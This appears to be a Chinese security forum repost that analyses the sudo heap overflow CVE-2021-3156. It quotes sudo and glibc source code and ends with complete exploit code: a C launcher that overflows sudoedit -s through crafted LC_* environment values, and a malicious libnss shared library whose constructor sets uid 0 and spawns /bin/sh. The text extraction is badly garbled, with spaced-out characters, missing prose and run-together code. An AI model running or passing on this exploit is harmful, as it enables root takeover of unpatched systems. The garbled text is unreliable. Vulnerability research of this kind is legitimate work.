[16791] 2021-05-16_CVE-2021-3156:sudo堆溢出提权漏洞分析

文档创建者:s7ckTeam
浏览次数:9
最后更新:2025-01-18
2021-05-16_CVE-2021-3156:sudo堆溢出提权漏洞分析 C V E - 2 0 2 1 - 3 1 5 6 s u d o x   F r e e B u f   2 0 2 1 - 0 5 - 1 6 .   1 .   s u d o - s - i s h e l l 使 使 - s   - i s u d o e d i t 使 s u d o r o o t 2 .   s u d o   1 . 8 . 2 2 . 8 . 3 1 p 2 s u d o   1 . 9 . 0 1 . 9 . 5 p 1 .   U b u n t u 1 8 . 0 4 5 . 3 . 0 - 2 8 使 s u d o 1 . 8 . 2 1 p 2     s u d o e d i t   - s     .   s u d o s u d o L i n u x s h e l l s u d o r o o t s u d o s e t u i d s u d o e u i d s u d o e d i t s u d o s u d o s u d o   - e .   1 .   m a i n 1 9 9 p a r s e _ a r g s s u d o   - s   e x p l o i t s u d o e x p l o i t s u d o s h   - c   e x p l o i t - s - i - s c o m m a n d - s - i 使 M O D E _ R U N M O D E _ S H E L L r e a l l o c a r r a y 2 c o m m a n d c o m m a n d f o r c o m m a n d 0 x 5 c ( ) c o m m a n d p e r l   - e   p r i n t   A   x   6 5 5 3 6 / * * 4 - 1   * m a i n ( )   i n   s u d o - 1 . 8 . 3 1 s r c s u d o . c * / _ _ d s o _ p u b l i c   i n t   m a i n ( i n t   a r g c ,   c h a r   * a r g v [ ] ,   c h a r   * e n v p [ ] ) ; i n t   m a i n ( i n t   a r g c ,   c h a r   * a r g v [ ] ,   c h a r   * e n v p [ ] ) {         i n t   n a r g c ,   o k ,   s t a t u s   =   0 ;         c h a r   * * n a r g v ,   * * e n v _ a d d ;         . .   . .   . .         s u d o _ m o d e   =   p a r s e _ a r g s ( a r g c ,   a r g v ,   & n a r g c ,   & n a r g v ,   & s e t t i n g s ,   & e n v _ a d d ) ; / /         . .   . .   . .   } / * * 4 - 2   * p a r s e _ a r g s ( )   i n   s u d o - 1 . 8 . 3 1 s r c p a r s e _ a r g s . c
m a i n 2 5 3 s u d o e r s _ p o l i c y _ c h e c k s u d o e r s _ p o l i c y _ c h e c k 8 7 2 s u d o e r s _ p o l i c y _ m a i n s u d o e r s _ p o l i c y _ m a i n 3 0 6 s e t _ c m n d s e t _ c m n d 8 2 5 - s c o m m a n d c o m m a n d w h i l e 0 f r o m 2 0 w h i l e 1 c o m m a n d x 5 c x 0 0 w h i l e 便 u s e r _ a r g s x 0 0 * / i f   ( I S S E T ( m o d e ,   M O D E _ R U N )   & &   I S S E T ( f l a g s ,   M O D E _ S H E L L ) )   {         c h a r   * * a v ,   * c m n d   =   N U L L ;         i n t   a c   =   1 ;         i f   ( a r g c   ! =   0 )   {                 / *   s h e l l   - c   " c o m m a n d "   * /                 c h a r   * s r c ,   * d s t ;                 s i z e _ t   c m n d _ s i z e   =   ( s i z e _ t )   ( a r g v [ a r g c   -   1 ]   -   a r g v [ 0 ] )   +   s t r l e n ( a r g v [ a r g c   -   1 ] )   +   1 ;       / / c o m m a n d                 c m n d   =   d s t   =   r e a l l o c a r r a y ( N U L L ,   c m n d _ s i z e ,   2 ) ;                                                                                   / /                 f o r   ( a v   =   a r g v ;   * a v   ! =   N U L L ;   a v + + )   {                 f o r   ( s r c   =   * a v ;   * s r c   ! =   ' 0 ' ;   s r c + + )   {                         / *   q u o t e   p o t e n t i a l   m e t a   c h a r a c t e r s   * /                         i f   ( ! i s a l n u m ( ( u n s i g n e d   c h a r ) * s r c )   & &   * s r c   ! =   ' _ '   & &   * s r c   ! =   ' - '   & &   * s r c   ! =   ' $ ' )                         * d s t + +   =   ' ' ;         / /                         * d s t + +   =   * s r c ;                 }                 * d s t + +   =   '   ' ;                         / /                 }                 i f   ( c m n d   ! =   d s t )                 d s t - - ;     / *   r e p l a c e   l a s t   s p a c e   w i t h   a   N U L   * /                 * d s t   =   ' 0 ' ;                 a c   + =   2 ;                                           / *   - c   c m n d   * /         }         a v   =   r e a l l o c a r r a y ( N U L L ,   a c   +   1 ,   s i z e o f ( c h a r   * ) ) ;         a v [ 0 ]   =   ( c h a r   * ) u s e r _ d e t a i l s . s h e l l ;   / *   使 s u d o e r s h e l l   * /         i f   ( c m n d   ! =   N U L L )   {                 a v [ 1 ]   =   " - c " ;                 a v [ 2 ]   =   c m n d ;         } / * * 4 - 3 * m a i n ( )   i n   s u d o - 1 . 8 . 3 1 s r c s u d o . c * / c a s e   M O D E _ E D I T : c a s e   M O D E _ R U N :                 o k   =   p o l i c y _ c h e c k ( & p o l i c y _ p l u g i n ,   n a r g c ,   n a r g v ,   e n v _ a d d ,   & c o m m a n d _ i n f o ,   & a r g v _ o u t ,   & u s e r _ e n v _ o u t ) ; / * * 4 - 4 * s u d o e r s _ p o l i c y _ c h e c k ( )   i n   E : s u d o - 1 . 8 . 3 1 p l u g i n s s u d o e r s p o l i c y . c * / s t a t i c   i n t   s u d o e r s _ p o l i c y _ c h e c k ( i n t   a r g c ,   c h a r   *   c o n s t   a r g v [ ] ,   c h a r   * e n v _ a d d [ ] ,   c h a r   * * c o m m a n d _ i n f o p [ ] ,   c h a r   * * a r g v _ o u t [ ] ,   c h a r   * * u s e r _ e n v _ o u t [ ] ) {                 r e t   =   s u d o e r s _ p o l i c y _ m a i n ( a r g c ,   a r g v ,   0 ,   e n v _ a d d ,   f a l s e ,   & e x e c _ a r g s ) ;         / * * 4 - 5 * s e t _ c m n d ( )   i n   s u d o - 1 . 8 . 3 1 p l u g i n s s u d o e r s s u d o e r s . c * / i f   ( N e w A r g c   >   1 )   {                 c h a r   * t o ,   * f r o m ,   * * a v ;                 s i z e _ t   s i z e ,   n ;                 f o r   ( s i z e   =   0 ,   a v   =   N e w A r g v   +   1 ;   * a v ;   a v + + )                                 s i z e   + =   s t r l e n ( * a v )   +   1 ;                                                                         / / c o m m a n d c o m m a n d                 i f   ( s i z e   = =   0   | |   ( u s e r _ a r g s   =   m a l l o c ( s i z e ) )   = =   N U L L )   {               / / c o m m a n d                
4 - 5 w h i l e c o m m a n d p a r s e _ a r g s c o m m a n d 便 2   s u d o e d i t   - s     s u d o s u d o e d i t 使 m o d e M O D E _ E D I T - s 使 f l a g s M O D E _ S H E L L 1 s u d o e d i t s u d o   - e s u d o e d i t s u d o   - e 使 v a l i d _ f l a g s M O D E _ N O N I N T E R A C T I V E f l a g s M O D E _ S H E L L 1 i f s u d o _ _ l i b c _ s t a r t _ m a i n                                 }                 i f   ( I S S E T ( s u d o _ m o d e ,   M O D E _ S H E L L | M O D E _ L O G I N _ S H E L L ) )   {           / / - s                 f o r   ( t o   =   u s e r _ a r g s ,   a v   =   N e w A r g v   +   1 ;   ( f r o m   =   * a v ) ;   a v + + )   {                         w h i l e   ( * f r o m )   {                         i f   ( f r o m [ 0 ]   = =   ' '   & &   ! i s s p a c e ( ( u n s i g n e d   c h a r ) f r o m [ 1 ] ) )                                 f r o m + + ;                                 / /                         * t o + +   =   * f r o m + + ;                                 / /                         }                         * t o + +   =   '   ' ;                                         / / c o m m a n d                 }                 * - - t o   =   ' 0 ' ;                 } p e r l   - e   p r i n t   A   x   6 5 5 3 5 / * * 4 - 6 * p a r s e _ a r g s ( )   i n   s u d o - 1 . 8 . 3 1 p l u g i n s s u d o e r s s u d o e r s . c * /   i n t   v a l i d _ f l a g s   =   D E F A U L T _ V A L I D _ F L A G S ;                                       / / v a l i d _ f l a g s M O D E _ S H E L L   p r o g n a m e   =   g e t p r o g n a m e ( ) ;                                                                 / /   p r o g l e n   =   s t r l e n ( p r o g n a m e ) ;   i f   ( p r o g l e n   >   4   & &   s t r c m p ( p r o g n a m e   +   p r o g l e n   -   4 ,   " e d i t " )   = =   0 )   {           p r o g n a m e   =   " s u d o e d i t " ;                                 / / s u d o e d i t         m o d e   =   M O D E _ E D I T ;                                 / / m o d e E D I T   } f o r   ( ; ; )   {         i f   ( ( c h   =   g e t o p t _ l o n g ( a r g c ,   a r g v ,   s h o r t _ o p t s ,   l o n g _ o p t s ,   N U L L ) )   ! =   - 1 )   {       / /                 s w i t c h   ( c h )   {                                 c a s e   ' e ' :                                                         m o d e   =   M O D E _ E D I T ;                               / /   - e                         v a l i d _ f l a g s   =   M O D E _ N O N I N T E R A C T I V E ;                         b r e a k ;                                 c a s e   ' s ' :                                         / / - s                         S E T ( f l a g s ,   M O D E _ S H E L L ) ;                       / / f l a g s S H E L L                         b r e a k ;                                 }                         }           } i f   ( ( f l a g s   &   v a l i d _ f l a g s )   ! =   f l a g s )         / /   - s   - e 退         u s a g e ( 1 ) ;
c o m m a n d x 0 0 A 6 5 5 3 5 4 - 5 c o m m a n d 2 + 6 5 5 3 6 = 6 5 5 3 8 u s e r _ a r g s u s e r _ a r g s A 6 5 5 3 5 u s e r _ a r g s m a l l o c / f r e e x 0 0 N U L L 2 .   u s e r _ a r g s 6 5 5 3 8 0 x 1 0 0 1 0 u s e r _ a r g s t o p   c h u n k 0 x 2 0 d 5 0 t o p   c h u n k s i z e 0 x 4 1 m a l l o c t o p   c h u n k s i z e 退 .   Q u a l y s   u s e r _ a r g s F u z z u s e r _ a r g s S I G S E G V 3 s e r v i c e _ u s e r n s s _ l o a d _ l i b r a r y 访
c m p q 访 0 x 4 2 4 2 4 2 4 2 1 .   s e r v i c e _ u s e r 0 x 4 0 + s i z e o f ( n a m e ) n s s _ l o a d _ l i b r a r y s e r v i c e _ u s e r l i b r a r y 0 x 4 2 4 2 4 2 4 2 访 l i b r a r y - > h a n d l e r n s s _ l o a d _ l i b r a r y . s o . s o n i - > l i b r a r y n s s _ n e w _ s e r v i c e l i b _ h a n d l e = = N U L L s e r v i c e _ l i b r a r y i f _ _ l i b c _ d l o p e n n i - > l i b r a r y = 0 n i - > n a m e = s h e l l e x p l o i t l i b n s s _ s h e l l . s o c o n s t r u c t o r s h r o o t   s h e l l u s e r _ a r g s s e r v i c e _ u s e r u s e r _ a r g s s e r v i c e _ u s e r s u d o e d i t u s e r _ a r g s 使 S u d o s e t l o c a l e t c a c h e f a s t b i n t y p e d e f   s t r u c t   s e r v i c e _ u s e r {         s t r u c t   s e r v i c e _ u s e r   * n e x t ;         l o o k u p _ a c t i o n s   a c t i o n s [ 5 ] ;         s e r v i c e _ l i b r a r y   * l i b r a r y ;         v o i d   * k n o w n         c h a r   n a m e [ 0 ] ; } s e r v i c e _ u s e r ; / * * 5 - 1 * n s s _ l o a d _ l i b r a r y ( )   i n   g l i b c - 2 . 3 1 g l i b c - 2 . 3 1 n s s n s s w i t c h . c * / s t a t i c   i n t     n s s _ l o a d _ l i b r a r y   ( s e r v i c e _ u s e r   * n i ) {     i f   ( n i - > l i b r a r y   = =   N U L L )         {                     n i - > l i b r a r y   =   n s s _ n e w _ s e r v i c e   ( s e r v i c e _ t a b l e   ? :   & d e f a u l t _ t a b l e ,   n i - > n a m e ) ;                     i f   ( n i - > l i b r a r y   = =   N U L L )                               r e t u r n   - 1 ;         }     i f   ( n i - > l i b r a r y - > l i b _ h a n d l e   = =   N U L L )                                                                               / / c m p q   $ 0 x 0 ,   0 x 8 ( % r b x )         {             / *   L o a d   t h e   s h a r e d   l i b r a r y .     * /             s i z e _ t   s h l e n   =   ( 7   +   s t r l e n   ( n i - > n a m e )   +   3   +   s t r l e n   ( _ _ n s s _ s h l i b _ r e v i s i o n )   +   1 ) ;   / /             c h a r   s h l i b _ n a m e [ s h l e n ] ;             _ _ s t r c p y   ( _ _ s t r c p y   ( _ _ s t r c p y   ( _ _ s t r c p y   ( s h l i b _ n a m e ,   " l i b n s s _ " ) ,   n i - > n a m e ) ,   " . s o " ) ,   _ _ n s s _ s h l i b _ r e v i s i o n ) ;   / / l i b n s s _ x x x . s o             n i - > l i b r a r y - > l i b _ h a n d l e   =   _ _ l i b c _ d l o p e n   ( s h l i b _ n a m e ) ;         / /
s e t l o c a l e u s e r _ a r g s m a l l o c / f r e e s e t l o c a l e u s e r _ a r g s u s e r _ a r g s 使 使 s i z e = 0 x 8 0 s e t l o c a l e 0 x 8 0 t c a c h e f a s t b i n u s e r _ a r g s s e r v i c e _ u s e r s u d o e d i t s i z e = 0 x 8 0 s e t l o c a l e 0 x 8 0 n s s _ l o a d _ l i b r a r y n s s _ d a t a b a s e _ l o o k u p 2 n s s n s s _ d a t a b a s e _ l o o k u p 2 / e t c / n s s w i t c h . c o n f d a t a b a s e _ e n t r y s e r v i c e _ u s e r s e r v i c e _ t a b l e n a m e _ d a t a b a s e n a m e _ d a t a b a s e d a t a b a s e _ e n t r y d a t a b a s e _ e n t r y s e r v i c e _ u s e r _ _ n s s _ d a t a b a s e _ l o o k u p 2 / * * 5 - 2 * m a i n ( )   i n   s u d o - 1 . 8 . 3 1 s r c s u d o . c * / i n t   m a i n ( i n t   a r g c ,   c h a r   * a r g v [ ] ,   c h a r   * e n v p [ ] ) {                 s e t l o c a l e ( L C _ A L L ,   " " ) ;         b i n d t e x t d o m a i n ( P A C K A G E _ N A M E ,   L O C A L E D I R ) ;         t e x t d o m a i n ( P A C K A G E _ N A M E ) ;        
f o p e n t c a c h e 0 x 1 e 0 t c a c h e 0 x 2 0 n a m e _ d a t a b a s e _ _ g e t l i n e t c a c h e 0 x 8 0 _ _ g e t l i n e t o p   c h u n k 0 x 1 0 1 0 0 x 6 0 s m a l l b i n 0 x 2 0 p a s s w d n a m e _ d a t a b a s e _ e n t r y u s e r _ a r g s 0 x 8 0 0 x 5 5 8 0 e d b d 7 1 1 0 p a s s w d n a m e _ d a t a b a s e _ e n t r y 0 x 5 5 8 0 e d b d 7 4 4 0 n s s w i t c h . c 1 4 6 访 s e r v i c e _ t a b l e - > e n t r y - > n a m e . g d b s e r v i c e _ t a b l e - > e n t r y 0 x 4 1 s e r v i c e _ u s e r F u z z 2 .   u s e r _ a r g s s e t l o c a l e s e t l o c a l e 1 3 C . U T F - 8 @ A A A A @
f u z z .   E x p l o i t / * g c c   - o   e x p l o i t   e x p l o i t . c * / # d e f i n e   _ G N U _ S O U R C E   # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < s y s / t y p e s . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < s t r i n g . h > # d e f i n e   M A X _ E N V   4 0 9 6 # d e f i n e   S T A C K _ S I Z E   4 0 9 6 # d e f i n e   n u l l _ s z   6 1 / * c m n d 1 c m n d 2 u s e r _ a r g s 0 x 8 0 * / c h a r   * c m n d 1   =   " A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A " ; c h a r   * c m n d 2   =   " B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B " ; c h a r   * e n v 1   =   " L C _ I D E N T I F I C A T I O N = C . U T F - 8 @ A F o J U V W 5 o Y 1 E C m t H m " ; c h a r   * e n v 2   =   " L C _ N U M E R I C = C . U T F - 8 @ A g A W E G N 9 y w E Y e i v 6 U O 9 y j a u 8 k A 4 X K H e q u u N E v 4 W K f x q J b U H k K G y S L t V I M x 1 4 L x X E 7 p q W M 0 J H u X c D a 9 T C R 7 Y 7 s L B j I " ;  
X . s o . 2 c h a r   * p o p s h e l l   =   " X / X " ; i n t   m a i n ( v o i d )   {         i n t   i   =   0 ;         c h a r   s t a c k [ S T A C K _ S I Z E ] ;                         c h a r   * e n v [ M A X _ E N V ] ;                 / /         c h a r   * a r g v [ 5 ] ;                         / /         c h a r   * p a t h   =   " / u s r / b i n / s u d o e d i t " ;         c h a r   * o p t   =   " - s " ;         c h a r   * t m p   =   s t a c k ;         m e m s e t ( s t a c k ,   0 ,   S T A C K _ S I Z E ) ;         m e m s e t ( e n v ,   0 ,   8   *   M A X _ E N V ) ;         m e m c p y ( t m p ,   p a t h ,   s t r l e n ( p a t h )   +   1 ) ;         a r g v [ 0 ]   =   t m p ;                                                     / / s u d o e d i t         t m p   + =   s t r l e n ( p a t h )   +   1 ;         m e m c p y ( t m p ,   o p t ,   s t r l e n ( o p t )   +   1 ) ;         a r g v [ 1 ]   =   t m p ;                                                     / / - s         t m p   + =   s t r l e n ( o p t )   +   1 ;         m e m c p y ( t m p ,   c m n d 1 ,   s t r l e n ( c m n d 1 )   +   1 ) ;         a r g v [ 2 ]   =   t m p ;         t m p   + =   s t r l e n ( c m n d 1 )   +   1 ;                               / /           m e m c p y ( t m p ,   c m n d 2 ,   s t r l e n ( c m n d 2 )   +   1 ) ;         a r g v [ 3 ]   =   t m p ;         t m p   + =   s t r l e n ( c m n d 2 )   +   1 ;                 / /         a r g v [ 4 ]   =   N U L L ;         f o r ( i   =   0 ;   i   <   n u l l _ s z ;   i + + ) {                       / /   t o + + = f r o m + +                 m e m c p y ( t m p ,   " " ,   2 ) ;                 / /   s e r v i c e _ u s e r n a m e 0                 e n v [ i ]   =   t m p ;                 t m p   + =   2 ;         }         m e m c p y ( t m p ,   p o p s h e l l ,   5 ) ;                 / /   X / X x 0 0 n a m e         e n v [ i + + ]   =   t m p ;                         / / l i b n s s _ X X . s o . 2         t m p   + =   5 ;         m e m c p y ( t m p ,   " a " ,   2 ) ;                 / / a w h i l e         e n v [ i + + ]   =   t m p ;                         / /         t m p   + =   2 ;         m e m c p y ( t m p ,   e n v 1 ,   s t r l e n ( e n v 1 )   +   1 ) ;         e n v [ i + + ]   =   t m p ;                         / / s e t l o c a l e         t m p   + =     s t r l e n ( e n v 1 )   +   1 ;         m e m c p y ( t m p ,   e n v 2 ,   s t r l e n ( e n v 2 )   +   1 ) ;         e n v [ i + + ]   =   t m p ;                         / / s e t l o c a l e         t m p   + =     s t r l e n ( e n v 2 )   +   1 ;         e n v [ i ]   =   N U L L ;         p r i n t f ( " [ . ] p i d :   % d n " ,   g e t p i d ( ) ) ;         p u t s ( " [ . ]   t r i g g e r i n g   h e a p   o v e r f l o w . . . " ) ;         e x e c v e ( p a t h ,   a r g v ,   e n v ) ;                 / / s u d o e d i t         r e t u r n   0 ; } / * g c c   - f P I C   - s h a r e d   c a l l b a c k . c   - o   l i b n s s _ X / X . s o . 2 * / # d e f i n e   _ G N U _ S O U R C E   # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < u n i s t d . h >
.   s e t l o c a l e F u z z 使 s u d o e x p l o i t f u z z c m n d 1 c m n d 2 0 x 8 0 u s e r _ a r g s s e r v i c e _ u s e r e x p l o i t # d e f i n e   E X E C V E _ S H E L L _ P A T H   " / b i n / s h " s t a t i c   v o i d   _ _ a t t r i b u t e _ _   ( ( c o n s t r u c t o r ) )   p o p _ s h e l l ( v o i d ) ; c h a r   * n [ ]   =   { N U L L } ; v o i d   p o p _ s h e l l ( v o i d )   {         p r i n t f ( " [ + ]   c a l l b a c k   e x e c u t e d ! n " ) ;         s e t r e s u i d ( 0 ,   0 ,   0 ) ;                         / / r u i d e u i d s u i d 0         s e t r e s g i d ( 0 ,   0 ,   0 ) ;                         / / r g i d e g i d s g i d 0         i f ( g e t u i d ( )   = =   0 )   {                 p u t s ( " [ + ]   w e   a r e   r o o t ! " ) ;         }   e l s e   {                 p u t s ( " [ - ]   s o m e t h i n g   w e n t   w r o n g ! " ) ;                 e x i t ( 0 ) ;         }         e x e c v e ( E X E C V E _ S H E L L _ P A T H ,   n ,   n ) ;                 / / r o o t   s h e l l }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则